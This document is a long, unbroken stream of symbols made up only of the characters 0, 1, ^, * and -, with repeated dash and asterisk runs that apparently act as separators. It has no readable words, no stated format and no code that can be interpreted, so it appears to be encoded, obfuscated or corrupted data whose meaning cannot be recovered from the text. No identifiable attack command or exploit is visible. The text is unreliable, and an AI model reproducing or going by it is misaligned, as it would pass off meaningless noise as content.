001^1*^110101*^110-110-11*101*001*1*1*^110-110-11*101*001*1*********0^1*********1**0101*101*01^11*00^110101^1010-11*1*0110101**01*00--------1*1101*-*01*001^1*10-*0101*001101*--------110-01*-*01*001^1*^11*01^1*11****001**1^101*001011*******************1010101********01010101********1^-*********011*********11*101********-1011********01011*1********0-*********01^-********01010101********01*001*********11*0101*1*1*001*1*********101*1*0-*11*001^1*001*******-1*10--0101*001^1*001****01*****0--001101*01^1*********1***-001*1***001***1^1*****001**011*****01***1^1^1*--------10^11*0-*10101*1^1*11****001**0^101*001011********011********************0-**********11**********11*********00101*00101*1*01*01*1**1*01^1*^11*01010^--------1^-1*-00^11*--------1*011*0-*01*001^1*^1101********0011*11*00^1*^110101010-11*011*001*1*********0^1*--00^1101*01*0110110^1011*-*******01**0-11**01*011*********001*001*00^1101*******001**0-11*001*101**011010-01*011**101*******^101*010^11011******011**0011*101**--------10-001*-*01*001^1*10-*--------00110-*-001*^1*****01**00-011**^101*001*1*--------0^1101*-*01*001^1*01101**********1*********01**0101*101*01^11*00^110^1*110-11*1*011*1*0011**--------110^11*-*01*001^1*^11*0101*001101*********010-1********011*01*****************************0011*01********00101**********0-********************0011********00^1*0101*1*1*001*1*001*001^1*00-*011*001^1*001****01**0-010^--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1******00-1**********10-***01***1^1^1*********-----10---110-*-00101*001^1*^1101*****0011*01010101011*001*010^1*****001**0-01**0^-*001*1*01010^-*00--------1^-1*-0010-*--------0011**0-00101*001^1*1*^-110110-11**1*01*1*********0011*0--00^11010^1*01101101*011**1******0011**1*01**0^1011*******1**0011011**1*011*******11**1*01**1*101**011010-01*011*00---------011*00-00101*001^1*^1101*****0010^^-1011**1*010^1*****01***--*00^-*001*1*1101*00101****1***1*00-1011011011******00-**11*-**11011******011**0011*101**--------0-101*0-00101*001^1*^1101********0-10-*00^1*^^101^-11*^1*01*1*1101**101*--------^10-*-00^110^1*010-11*1*^1********00-001*001*001*01*1*--------01*001*-00101*001^1*^1101******1^1101*1011*001*010^1*****01**01^101**^-*001*1*********10101*********1**0101*101*01^11*00^110101*1*-11*1*011*1*00101*00--------*10101*-00101*001^1*^1101********01011*1*00^1*^1*********^11*001*11*001*1*0101*001101*----------01*-00101*001^1*00-*01^1*11****001**1*101*001011********1101101********0-*11********1101101********010^1*********-*********0-1011********0-*11********0110^1******************0010^1********00^^11********1101*0101*10101*001*1*********1*001*0-00^1*01^1*001****01**0-010^--*01*01^1*001****01*****0--0-*001^1*001*******010101010--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**0110^1*****001**0^-****1***1^1^1*--------^-*00-*10101*1^1*11****001***0101*001011*******************11********************0011*********00-*********00101*00101*10^1*01*1*^1*01^1**11*010101*0-00--0^10^10-11*-1101*1*001*^-101*-11*001*******0-11010--0-01*-11*001*******0-11010--0--------1^-1*-00^1*0-11*--------*^1*0-001011*0^1101*****00-*-00-1**1*010^1*********00101*00^-*001*1*********00101*010-0010-01*011*-*00--------00^11*0-001011*01101101*011*1*^1*10^-11*011*001*1*1101**011010-**01*001101*00101101010^1*01**101**011010-01*011**101****1**00-^-11011011**11011******011**0011*101**--------^1*1*-001011*0^1101******11010^101011**1*010^1*****01**00-0-*00^101*001*1*--------0010-1*-*1101*--------11*101*-001011*0^1101*********11*1*00^1*^1********1*1101*001*01*001*1*********00101*********1**0101*101*01^11*00^110101*0^-11*1*0110101**01*00--------*^11*-001011*0^1*0-11*0101*001101*********0101*********00-011********01*^1********0-011********01010101*******************1010101********0101011********001010101********0^^1********00101*0101*10^1*01011*001011*-*001^1*001*******-1*10--0011*001^1*001****01*****0--0101*001^1*001*******010101010--*1*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**0010^1*****001***^1***0101***1^1^1******0-----10--^--*-00101*001^1*11011*01010^1*******0011**1010-0-*00--------1101**0-00101*001^1*^1101011010^-11*1*^-001*-11*-*001*1*--------^10-*-00^11010^11*-11*1*^1*****01**0-101**01*11*001*1*--------010101*00-00101*001^1*0-1**********1*010-^^110^1011010^1*0-11*^1**01*******-***101*001*011******001****101*00^1011*01*0^-11*0101**011010-01*011*00---------^1*0-00101*001^1*01101*1101*00101*******00101*0010^11011******011**0011*1101*0011011******001^1*011*^1*0011011******01011**11*-**11011******00-**11*101**--------1010-*0-00101*001^1*^110101*^1*****01**0011011**01*11*001*1*1*^1*****01**0011011**01*11*001*1*1101**101*--------0^-1*-001101*0-11*--------0110^1*-00101*001^1*^11**********1*********01**0101*101*01^11*00^1101*1^10-11*1*0110101**-**1**-*0--------1*1101*-00101*001^1*11011*0101*001101*--------110-01*-00101*001^1*-01*01^1*11****001**-^1*001011********0010101********00-1101******************00-10101********0010101*********011**********11*********101*11********010-*********0011*********0-*********0010-1*********11*0101*10101*001*1*********101*1*0-00-*001^1*001****01**0-010^--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**0^^1*****001**00-1***00101***1^1^1*--------10^1*00-001011*0^1101********010^101*00^1*^1*11*011*001*1*01010^1*******00-10-0010-0-*00--------00-1*00-001011*01101*0-11*--------1^-1*-00^1*0-11*--------110^1*0-001011*0^1101*****00^-001*011**1*010^-101*-11*101*001*1*********1*1*^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------0011011*0-001011*00-1*1101*00101****1**01*0--1011011011******011**0011*101**----------1*0-001011*00-1*1101**101*--------0010-1*-0011011*--------0-*1*-001011*0^11*********-*********001**0101*101*01^11*00^1101*011*-11*1*011*1*0011**--------01^101*-001011*01101*0-11*0101*001101*--------*01101*-001011*0^1101********00^1101*00^1*^1********001^11*001*01*001*1*01^1*11****001**0-001*001011********00^1*********1011*********0-*1********0-101********0011*01********0-*1********110^1********01010^1********01*01*******************011*01********0-*1********0011*0101*10^1**********00101*0-*11*001^1*001****01**001**0--0101*001^1*001*******-1*10--*1*001^1*001****01*****0--001101*01^1*********1***-001*1******0-0-1********00--**0011***01^1^1*********-----10--11*0-*-001011*0^1*0-11*01010^-*00-----10---010-*-001011*0^1101*****00^1*1011011**0^1^^10^1*-11*^1*01*1*--------0010-1*-00^11*--------01***-001011*0^1101*011010-11*1*^1*****01**0-0011**1*001*01*1*********1*1*^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------11*1*00-001011*00101*0-11*1101*00101******00-001*0010^11011******011**0011*101**---------011*00-001011*0^1101010-^-11*1*^-101*-*001*1*1101*00101******001*1**10^11011******011**0011*101**--------*0101*0-001011*00101*0-11*1101*001101*---------00-*-00^11010-10110-11*1*^-0^10-11*011*001*1*--------0010-1*-0010-*--------1011011*0-001011*0^1101*****00^1**0-11*001*010^1*****01**001101**00^101*001*1*********01011*********00101*********01**101*101*01^11*00^1101011010^-11*1*011011**001*00--------0110^1*-001011*0^1101*****00^110^1*01**1*010^1*****001**0-11**0^101*001*1*0101*001101*--------00110101*-001011*0^1101*********10-1*00^1*^1********1*0-*001*01*001*1*01^1*11****001**101^1*001011********-1*1********0011011********011*101*********011*******************00110-********001011*********010^11********010^11********11011011********-00101********10-011*********011********001011*0101*10^1**********10101*0-00^1*01^1*001****01**0^110^--*01*01^1*001****01**001**0--0-*001^1*001****01*****0--0011*001^1*001****01**0-010^--0101*001^1*001*******010101010--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1***001***0^1*****001**01010101***11***01^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11******010101*101****1**010-0--011*1*0011**011*00-----10--1^^11*-001011*0^1101*101^-11*1*^1********110-01*001*11*001*1*-----10--101011011*-001011*00-1*---------00-*-00^1101*****00-1*01^-1*00^1^^1********-0-1*001*01*001*1*-----10--^10-1*-001011*0^1101*****00-*^1*011*001*010^1*****01**011011**00^101*001*1*********00101*^-001**00--1^11*-*00--------1*1**-001011*0^1101******1^10^1^11*001*010^^-*-11*-*001*1*1101*0-01*--------11010-*-00^110^-1*1*^1********-00101*001*11*001*1*--------1^11*00-001011**11*0-11**********1*0^-001**00--101101*-*00--------001*1*0-001011*0^1101******010^-***001*010^1*****01**0^11**00^101*001*1*1101*0^11*110101******001**00101******1**00--1*001******1**0-1*1*00^--10--------*001*11*00--------1^-1*-001101*0-11*--------0110-*0-001011**-*********-*00^-001**00--1*11*-*00--------011*01*-001011*011011*1101**011*0101*00101****1**0010110-^-0---------00-*-00^1101******010-110-101*00^1^^1*****01**01^^1*001*01*001*1*--------*10101*-001011*00101*0-11**********1*0^-001**00---101*-*00--------^-01*-001011*001101*1101*001101*********1*0-********0-^1********0--********0101101*******************0^-11********1*1101********1^101*********-1********00^1*********0^1*********0101101*********-^1*********10-********0-*0101*10^1*01011*0^1*0-11*-*001^1*001*******-1*10--0011*001^1*001****01*****0--0101*001^1*001*******010101010--*1*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001**0-*1*****001**001^11***101***1^1^1****1010^110101******001010--011011**011*00-----10--1*0-1*-001011*0-01*-----10---10-1*-001011*00-1*--------0010-1*-00^11*--------001**00-001011*00101*0-11**********1*0^-001**00--1^11*-*00--------10101**-001011*0^1*0-11*1101*0-01*--------1^-1*-00^1*0-11*--------01^1*00-001011*0^1101******001011*--*001*010^1*****01**001101011*001*01*001*1*********00101*^-001**00--101101*-*00--------11*01*0-001011*01101*0-11*1101**011*0101*00101****1**0010110-^-0--------1^-1*-001101*0-11*--------0101101*0-001011*0^1101******010-01011011**^1^^1********10110-*00^101*001*1*********00101*^-001**00---101*-*00---------0-*0-001011**011*1101*0^11*110101******001**00101******01**010^11*001******01**110-01*00^--10--------*001*11*00---------00-*-00^1101******11*110-11**01*010^1*****01**0-0101**1*01*001*1*--------*10101*-001011*01011*0-11**********1*0^-001**00--1*11*-*00--------^-01*-001011*0^11*1101*001101*********101101********0011*101********--1*********1*11********10110101********0^1011********11*101********^1*********010110101******************00110^11********110^1********0^1*********0-1011********00-*0101*10^1*01011*001011*101*001^1*001****01**0^110^--*1*001^1*001*******010101010--001101*01^1*********1***-001*1***001**0011*1*****001**0-101***0101***1^1^1*010101*101****1**0110110--011011011******011**0011*-**011*00-----10--1*10-*-001011**011*-----10---110-*-001011*0^1101******00110-0-11**1*010^1*****01**00-***^101*001*1*---------00-*-00^1101*****0011010^10-11**1*010^1*****01**011***00^101*001*1*--------01101**-001011*011011*********-*00^-001**00--1^11*-*00--------01^1*00-001011*00101*0-11*1101*0-01*--------1^-1*-*101*0-11*---------011*00-001011*00-1*********-*00^-001**00--101101*-*00---------*1*0-001011**11*0-11*1101*0^11*110101******001**00101******01***-1**1******01**^1***^--10--------*001*11*00--------*0-1*-001*^--110-11*011*001*1*--------*0-*0-001011**-*********-*00^-001**00--1*11*-*00--------**01*-001011*001011*1101**011*0101*00101****1**0010110-^-0--------0010-1*-*1011*--------1010^1*-001011*0^1101******11*0^1*01*001*010^1*****001**101^1**^101*001*1*********00101*^-001**00---101*-*00--------0^1101*-001011*0^11010101^10-11*1*^-1*10-11*001*001*1*1101*001101*******************00110-1*********-001********00-001********1^11*********^^1********1^1011********00-01********0--01********01*01********001011011*********01*********0^^1********01**********0-*0101*10^1*01011*01011*0-11*011*001^1*001****01*****0--0101*001^1*001*******010101010--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**0101*1*****001***1*1***101***1^1^1****10101*01*******0-00-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0-00-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******101^-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******101^-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******001^-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******001^-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1*********010101*11****001***^1*010^101**1**011****001**011*1*0101*01**1**011****001**001*1*010^11**01**0101******0011*01*0101*1*****1101*01^1*********1***-*^^1010101*01*******110^11**010101****01**0^1^1^-*1*******010^11**010101****01**0^1^1^-0---------00101*-001101**011*001*******^^11**0-0101******-1*1*10^--00-11*10-110-11*011****011**1*-*0101*-**^^11010101101^1**1*0011********************101*01*01*01********^11**01011****01**0010^11*101*********0010-*001********001**1*001*0-*-11*********1^101********001101*********--*******************0--********00101*00101*10-*001101*0-01****1101*01^1*********1***-001*1***001***1*1*********0-1***001***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11*********1010^-----101^-11*011*-*011*0^1101******1101*0-0-*001*010^1********1101^1*00^^1*0-----101^-01101011*-*011**11*0-11*0110--0101*00-00-11*-----101^-01*-*-*011*011*^-11**1**110^1**00--1^10^-11*011*00-----101^-1*-1*-*011*0^1101******10^101*0101*001*010^-0^10-11*^1*00101*0-01*0110--010^11*110-11*------^--**00-*011*01*-0-11**1**110^1**00--101101*011*00------^-10101**-*011*01^1*-11*0101*010101*-11*------^-*001*00-*011*0^1101*****00^11*-1011**1*010^1********10^-*001*001*01*1*0101****01**1*1^-101^11****001**01*0101^-0011*****1*001010101*0101*11*******011**0010^10-*-*0010110101**-0^1**01********00^10-*001*01****001**10^1*--0011*****1*00110^1*0101*11****001***1^1*10^^11*01*11011**^1^1*1***1*0101*001********^110--*1****001**01*1*--0011*******00101011*10^^-*011*0-00101*1011**^-01*01101*-11*001*******010^110--00-0-11010^^1101*011*1*^1********10110-*00^-*001*1*------^-1*^1*-*011**^^-11**1**110^1**00--^101*-11*011*00------^-*00101*-*011**011010-11*0101*010-*------^-01010101*-*011**101*-11*0101****01**1*1^-101^11****001**01*0101^-0011*****1*001010101*0101*11*******011**0010^11011*-*0010110101**-1^1**0^10101010-11*001****001**10^1*--0011*****1*00110^1*0101*11****011**10-001*10^1101**-^1*^-11*1*001*0101*01011*01101*001********^110--*1****001**01*1*--0011****011**0011*1*101*^11*1*110-^11*0-**1********************11*01*01*-1*001*******010^110--*00--010^^110^^1^-11*1*^10^1^-11*011*001*1*-----1*10-0^1**-*011***********001*00^1101**110^1**00--^-*011*00-----1*10-11*1*00-*011*0^110^^1*-11*1*^10^1^-11*101*001*1*0101*0^1*0-11*-----1*10-001011*00-*011*001^^-11*0101****01**1*1^-101^11****001**01*0101^-0011*****1*001010101*0101*11*******011**00101*0011*-*0010110101**11*001**01********00^11011*001*01****001**10^1*--0011*****1*00110^1*0101*11****011**1*-*0101*-**^1*1010101011011**0^11011*******************0011**1*01*01********^110--*1****001**01*1*--0011****01**01*001*0101*0101*11011010^1*0110^-01*11*00^10-*00101*001*******010^110--00110--010^110^10-11*-----1*10-^1^1*-*011*0^1101******-^110-01**1*010^1*****001**001^1**1*001*01*1*00101*00110^1**00--10-1*011*00-----1*10-1^1101*-*011*00-0010-11*0101*0^11*-----1*10-10-101*-*011*01*0010-11*0101****01**1*1^-101^11****001**01*0101^-0011*****1*001010101*0101*11*******011**0010^11011*-*0010110101**-1^1**01********00-^11*001*01****001**10^1*--0011*****1*00110^1*0101*11*******00101011*10^^-*011*0-00101*1***1*1101**01010-11*001********^110--*1****001**01*1*--0011*******011**00101*1011*-*001011010-*011*-1**1********0011010-*001*01*******010^110--00110--0101*-0010-11*-----1^10-0-1**-*011**110^-11**1**110^1**00--1*11*011*00-----1^10-001101*00-*011*01^-0-11*0101*00101*0-11*-----1^10--011*00-*011**0110101*^1*01010-11*101*001*1*1*^1********1101^1*00^101*001*1*0101****01**1*1^-101^11****001**01*0101^-0011*****1*001010101*0101*11*******011**00101*-1*-*0010110101**11010101**01*11*10-11*001****001**10^1*--0011*****1*00110^1*0101*11****011**0011*1*101*^11*1*110-^1101***001*******************0011*001*01*-1*001********^110--*1****001**01*1*--0011****001***1^1*10^11011*01*11011**^1^101101**001*0101*001*******010^110--00110--010^1^-0-11*-----1^10-00^101*-*011*01*^-0-10-11*001*001*1*1101**110^1**00--1^1*0-11*011*00-----1^10-01101101*-*011*0-01*-11*0101***^-11*-----1^10-1*0011*-*011*0110-00-11*0101****01**1*1^-101^11****001**01*0101^-0011*****1*001010101*0101*11*******011**00101*-1*-*0010110101**11010101**01********0010--*001*01****001**10^1*--0011*****1*00110^1*0101*11****011**0011*1*101*^11*1*11*1^-10101**01*******************0011*001*01*0-*001*******^^110--*1****001**1*01*--0011****001***1^1*10^10-*01*11011**-1^---*001*0101*001*******110^110--011010-11010^^1101*****0010^^11*11**1*010^1*********1*1*00^^1*0-----101010-*011*00-*011*010-^-11**1**110^1**00----*-11*011*00-----101010---*00-*011*01^1^-11*0101*01^1*-11*-----101010-010^1*0-*011*010101010-11*0101****01**1*1^-101^11****001**01*0101^-0011*****1*001010101*0101*11*******011**0010^^11*-*0010110101**-*01**01*********0^101*001*01****001**10^1*--0011*****1*00110^1*0101*11*******011**0010^-01*-*001011010101*0110-^1*001********001*^1*001*01********^110--*1****001**01*1*--0011****011**1*-*0101*-**^1*10101010101***^10-********************-*01*01*01*******010^110--00110--010^1^1^-11*-----101010-0^1101*-*011*01*^1********-00-*001*01*001*1*0-**110^1**00--10^1*-11*011*00-----101010--*11*-*011*0^1101*******10110101^1*001*010^1********1*0101*001*001*01*1*0101*0-01*-11*-----101010-0-1011*-*011*0^1*0-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******11**-^1**1******11**^1101**1*11*******011**00101*1011*-*0010110101**1101^1**0^1011*0-11*110101******--*00101******01**^-01*001******01**-00101*001*11****001***1^1*10^10-*01*11011**0-^11010-1*001*0101*001********^110--0011*******00101011*10^^-*011*0-0010--**001*0-*01^110-11*001*******010^110--001010-11010^^1101*****0011*^1^101**^1^^1*****01**00110^1*00^^1*01*1*------010-0-001*0-*011*0^1101*****00-1^1*011**01*010^1*****01**0010-11*001*001*01*1*00101*00110^1**00--101101*-11*011*00------010-^1011*0-*011*0^11010110^10-11*1*^1011*10-11*101*001*1*0101*011011*-11*------010-010-1*0-*011*01101*0-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******01**-0^1*001******01**1**1*001*11*******011**00101*0-*-*0010110101**1^^1**0^10-010-11*110101******--*00101*********-1011*001**********0011*001*11****011**10-001*10^1101**-^1*^110101101*001*0101*01101*1*1*-11*001********^110--0011****011**0011*1*101*^11*1*110-^-0101**001*******************0011*001*01*-1*001*******010^110--00110--0101*10-10-11*------010--00-*-*011*011010110-11**1**110^1**00--101011*-11*011*00------010-0110-1*-*011*011011010^1*0-11*1*^1********1**1*001*11*001*1*0101*0^11*-11*-----^110-0101**0-*011*0^1101******10^1011*011*00^1^^1*****01**0-0011**^^1*01*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******11**10^1**01******11**1^11**01*11*******011**00101*-1*-*0010110101**11010101**01********00--11*00^110101******--*00101******1**0-0-**1******1**0^1011**1*11****011**1*-*0101*-**^1*101010--11**1*-1********************101*01*01*01********^110--0011****01**01*001*0101*0101*11011010^1*0110^-^1011*001*0011*00101*001*******010^110--0-0--010^10-*-----^110-001*01*-*011*0^-10-11**1**110^1**00--1*11*-11*011*00-----^110-1^^1*-*011*0-10110-11*0101*0-11*-11*-----^110-0-^1*-*011*01*^-001*-11*-*001*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******01******01******01**01101**001*11*******011**00101*1011*-*0010110101**1101^1**01********001^1101*00^110101******0-*1*101******01**001***01******01**0101***1*11*******00101011*10^^-*011*0-00101101101**01*0011*^11*001*******^^110--0011*******011**0010^-01*-*001011010101*01101*001*001*********110-1*001*01*******110^110--010110-110101*001101010-*-11*1*^1*****01**00-0101*001*01*001*1*-----110110-00101**-*011**010^-11**1**110^1**00--10-1*-11*011*00-----110110-11*1*00-*011*010-010-11*0101**-*-----110110-101101*00-*011*0^1101*****00-10-00-**001*010^1*****01**0011*01*001*001*01*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101********0011010-*001********0010--*001*11*******011**0010^^11*-*0010110101**-*01**01********0010-011*00^110101******--*00101******01**001^11*001******01**0^1011*001*11****011**0011*1*101*^11*1*110-^-11011**01*******************0011*001*01*0011*001********^110--0011****001***1^1*10^-01*01*11011**0-^-0-11*001*0101*001*******010^110--*10--010^1*^101101*001*001*1*-----110110-^10101*-*011*0^1101*****00101010110110101**1*010^1********10110101*00^^1*01^1*00110^1**00---011*011*00-----110110-01*011*-*011*0^1101******^^-^11**1*010^--110-11*^1*00101**010^-11*-----110110-10101011*-*011*0^1101******0--0^1**001*010^1********00101011*001*001*01*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101*1101*-11*01101*011*******011**0010^^11*-*0010110101**-*01**01*********^1101*00^110101******0-*1*101******1**0110-**01******1**0101011**01*11****01**01*001*0101*0101*11011010^1*0110^--0-*001*0011*00101*001*******^^110--0011****011**10-001*10^1101**-^1*^101010101*001*0101*11011*00101*-11*001*******110^110--00110--0101*0-*-11*-----10-0-11*01*0-*011*0101*10-11**1**110^1**00---^^-11*011*00-----10-0-0^101*0-*011*0^1101******001^1*-01*001*010^1********01010101*00^^1*00101*001*^-11*-----10-0-*1011*0-*011*0^1101********001*001*00^1*^110101^-11*001*001*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******11**01^11**1******11***0-**1*11*******011**00101*0-*-*0010110101**1^^1**01********001*1011*00^110101******0-*1*10^-*10-11*^^10-11*011*******011**00101*0011*-*001011010101*0-10-01*00^110^10-11*001*******^^110--0011****011**1*-*0101*-**^1*101010-1*1**^11011********************11*001*01*01*******110^110--00110--0101*01^10-11*-----10-0-01011011*-*011*0-11*-11**1**110^1**00--11*0^-11*011*00-----10-0-^10-*-*011*00-1^-11*0101*011011*-----10-0-1^-1*-*011*0^1101******01*01^101**0^1^^1********001^11*00^^1*01*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******01**0010101**1******01**01*01**1*11*******011**00101*0011*-*0010110101**11*001**01********00-0-1*00^110101******--*00101******1**0-101**01******1**01*11**01*11****001***1^1*101*0011*01*11011**0-^-101011*001*0101*001********^110--0011*******00101011*10^^-*011*0-00101*-**01*1101*00^110-11*001*******010^110--00110--0101*-1^-11*------110-01^11*0-*011*0-11010-11**1**110^1**00--101011*011*00------110-0010-*0-*011*001101010-11*0101*01101*0-11*------110---1*0-*011**001^-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******1***^1**01******1**00^11**01*11*******011**0010^^11*-*0010110101**-*01**01*10-10-11*110101******--*0010^10-*^11*-11*011****011**10-001*10^1101**-1**^101*01**1*0101*11011*0101*0-11*001********^110--0011****011**0011*1*101*^11*1*110-^-00-**01*******************00-*01*01*1011*001*******010^110--010110-11010^^1101**010-11*1*^1********110-01*00^101*001*1*------110-0-0-*-*011*01^1010-11**1**110^1**00--10101*0-11*011*00------110-10--*-*011*010101*-11*0101*001101*-11*-----1*0-1*1**0-*011*0-00^-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******01**11011011*001******01**101^11*001*11*******011**00101*0-*-*0010110101**1^^1**0^1011*0-11*110101******--*0010^^10110-11*-0-0-11*011****011**1*-*0101*-**^1*1010101^10101*001*0-*******************0011**1*01*01********^110--0011****01**01*001*0101*0101*11011010^1*0110^11*-11*001*0-*00101*001*******010^110--00^--010^110110^1011*1*^101101*101*001*1*-----1*0-10^-*0-*011*01*^110^^-11*101*001*1*1101**110^1**00--110101*-11*011*00-----1*0-^1*01*-*011*0^1101********001*101*00^1*^1*****01****-*001*01*001*1*0101**001*-11*-----1*0--01^1*-*011*0^1101******1**0-011**1*010^1*****01**0110^1**1*001*01*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******11**1011*1*001******11**1101^1*001*11*******011**0010^^11*-*0010110101**-*01**01*********1^101*00^110101******--*00101******01**1^11**01******01**101101**01*11*******00101011*10^^-*011*001^10-*011*00^-01*********110^11*001*01********^110--0011*******011**00101*0-*-*001011010101*0--0101*00^11011*001*******010^110--010110-11010^^1101********01*^1*00^1*^1*10^-11*-*001*1*-----11*-101011**-*011**10-0-11**1**110^1**00---11*0-11*011*00-----11*-1^101*00-*011*0^1101********0^1*1*00^1*^1*****01**0101*11*001*01*001*1*0101*010-*-11*-----11*-1**1*0-*011*0^11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******1**0-01**001******1**01****1*11*******011**00101*1101*-*0010110101**1101*1**01********00-00101*00^110101******--*00101******01****11*001******01**0-1011*001*11****011**0011*1*101*^11*1*110-^-1101011*001*******************0-1*01*0^-01*001********^110--0011****001***1^1*10^10-*01*11011**0-^101*101*001*0101*001*******010^110--00110--010^^10110-11*-----11*-110110101*-*011*0-10^-11**1**110^1**00--^-*-11*011*00-----11*-^-101*-*011*01011*0-11*0101*00-1*-----11*-1011*11*-*011*0^1101******0--0110101**1*010^101*010-11**1*01*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101********001*^1*001********00-*01*001*11*******011**00101*0011*-*0010110101**11*001**01*11*10-11*110101******--*00101******01****11*001******01**0-1011*001*11****01**01*001*0101*0101*11011010^1*0110^1101101**00^11011*00101*001********^110--0011****011**10-001*10^1101**-1**^1*0-**1*0101*^11*1*1*-11*001*******010^110--00110--010^1011*0-11*-----10^-1101011*00-*011*0^1101011011*1*^-101*011*001*1*0011**110^1**00--110-*011*00-----10^--1*1*0-*011*0^1101********01011*1*00^1*^-00-0-11*001*001*1*0101*001^^-11*-----10^--01101*0-*011*001*^-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101*00-10-11*0-0110-11*011*******011**0010^^11*-*0010110101**-*01**0^-01010-11*110101******0-*1*101******1**0-11011*001******1**01*1011*001*11*******011**00101*0-*-*001011010101*01101*011*001********0010110101*001*01*******^^110--0011****011**1*-*0101*-**^1*10101010-1101*00^11011*******************00-1*01*01*01*******110^110--00-0-11010^1101101*011*1*^1********01101011*00^-*001*1*-----10^-^1^11*-*011*0^1101******1011*^10101*00^1^^-001^-11*^1*01*1*1*1*00110^1**00--110^^-11*011*00-----10^-^^-*-*011*0110-10-11*0101*01*1*-11*-----10^--110-*-*011*01*^1********10-101*00^101*001*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******01**00^-*001******01**0^-1*001*11*******011**0010^11011*-*0010110101**-1^1**01********00^1*1*00^110101******--*00101******01**1*0011*001******01**-11011*001*11****001***1^1*101*1011*01*11011**0-^110101101*001*0101*001********^110--0011*******00101011*10^^-*011*001^10^101011*001*-1*1*-0-11*001*******010^110--00110--010^110-10-11*------00-^-01*0-*011*01*0^-11**1**110^1**00--1*01*-11*011*00------00--01011*0-*011*0^1101******-01011****^1^^1*****01**01****^^1*01*1*0101**11*0-11*------00-101*001*-*011*0-0-0-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101********0011010-*001********0010--*001*11*******011**00101*0-*-*0010110101**1^^1**01*********0101011*00^110101******--*00101******01**01011011*001******01**001*11*001*11****011**10-001*10^1101**-1**^1*11**001*0101*^11*1101*0-11*001********^110--0011****011**0011*1*101*^11*1*110-^-1*-*001********************01*01*0^10-*001*******010^110--00110--010^10101^-11*------00-10^-1*-*011*01010-0-11**1**110^1**00---01*0-11*011*00-----^10-11***0-*011*0^1101010-*-11*1*^1*****01***011**001*01*001*1*0101**011*-----^10-^101**-*011*0^1101*****00-0---**00^1^^1********1*-1*00^^1*01*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101*********-^1*001*********001*1*001*11*******011**0010^^11*-*0010110101**-*01**0^11*^-11*110101******--*00101******1**0^^11*001******1**0-01011*001*11****011**1*-*0101*-**^1*101010-*001*001*0-*******************001011*01*01*11****01**0010^11*101******01**1101^1*001******01**0^-1*001*1011*-11*011*******00101011*10^^-*011*001^10^110-*001*1101*********110-01*001*01*******010^110--00-0-11010^^1101*****00^-0011*01**1*010^-101*-11*^1*0-----^10--*101*-*011*010110110-11**1**110^1**00---101*011*00-----^10-11*1101*-*011*0-*10-11*0101**101*-11*-----^10-^-101*-*011*0^110^10-10-11*1*^1*****01**010^101*001*01*001*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******01**001^1**1******01**0101101**1*11*******011**00101*1101*-*0010110101**1101*1**01********0010^101*00^110101******--*00101******1**011011011*001******1**0101*11*001*11****011**10-001*10^1101**-1**^1011***01*0101*01101*10-*001********^110--0011****011**0011*1*101*^11*1*110-^1^110-*001*******************00101*01*0^-01*001*******010^110--00110--010^-*10-11*-----11010-^1011*00-*011*001010110-11**1**110^1**00---001*-11*011*00-----11010--*01*0-*011*0^110^-1010-11*1*^1*11*011*001*1*0101*0-1*0-11*-----11010--00101*0-*011*00-*0-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******01**1101011**1******01**10-11**1*11*******011**00101*0-*-*0010110101**1^^1**01********00^10-*00^110101******--*00101******1**00--**1******1****11**1*11****011**1*-*0101*-**^1*101010-^-*001*0-********************001*01*01*01********^110--0011****01**01*001*0101*0101*11011010^1*0110^1^1101**0^-01*00101*001*******010^110--010110-11010^^11010-10110-11*1*^1********^10101*00^101*001*1*-----11010--0^11*-*011**011010--00-11*1*^1********10110-*00^-*001*1*1*1*00110^1**00--10-*0-11*011*00-----11010--*-*-*011**01101010-*-11*1*^1********^1*1*001*01*001*1*0101**-*-11*-----11010--10-1*-*011*0^1101*****00-0^11*011**^1^^^110110-11*^1*01*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******11**1*1**001******11**-***01*11*******011**00101*1101*-*0010110101**1101*1**01*1010110-11*110101******--*00101******1**01****1******1**0-11**001*11*******00101011*10^^-*011*001^10-00-1*00^11011*********10101101*001*01********^110--0011*******011**00101*1101*-*001011010101*0-10^11*001********0011011011*001*01*******010^110--00110--0101*11*10-11*-----10110--01011*0-*011*0010^10-11**1**110^1**00---011*-11*0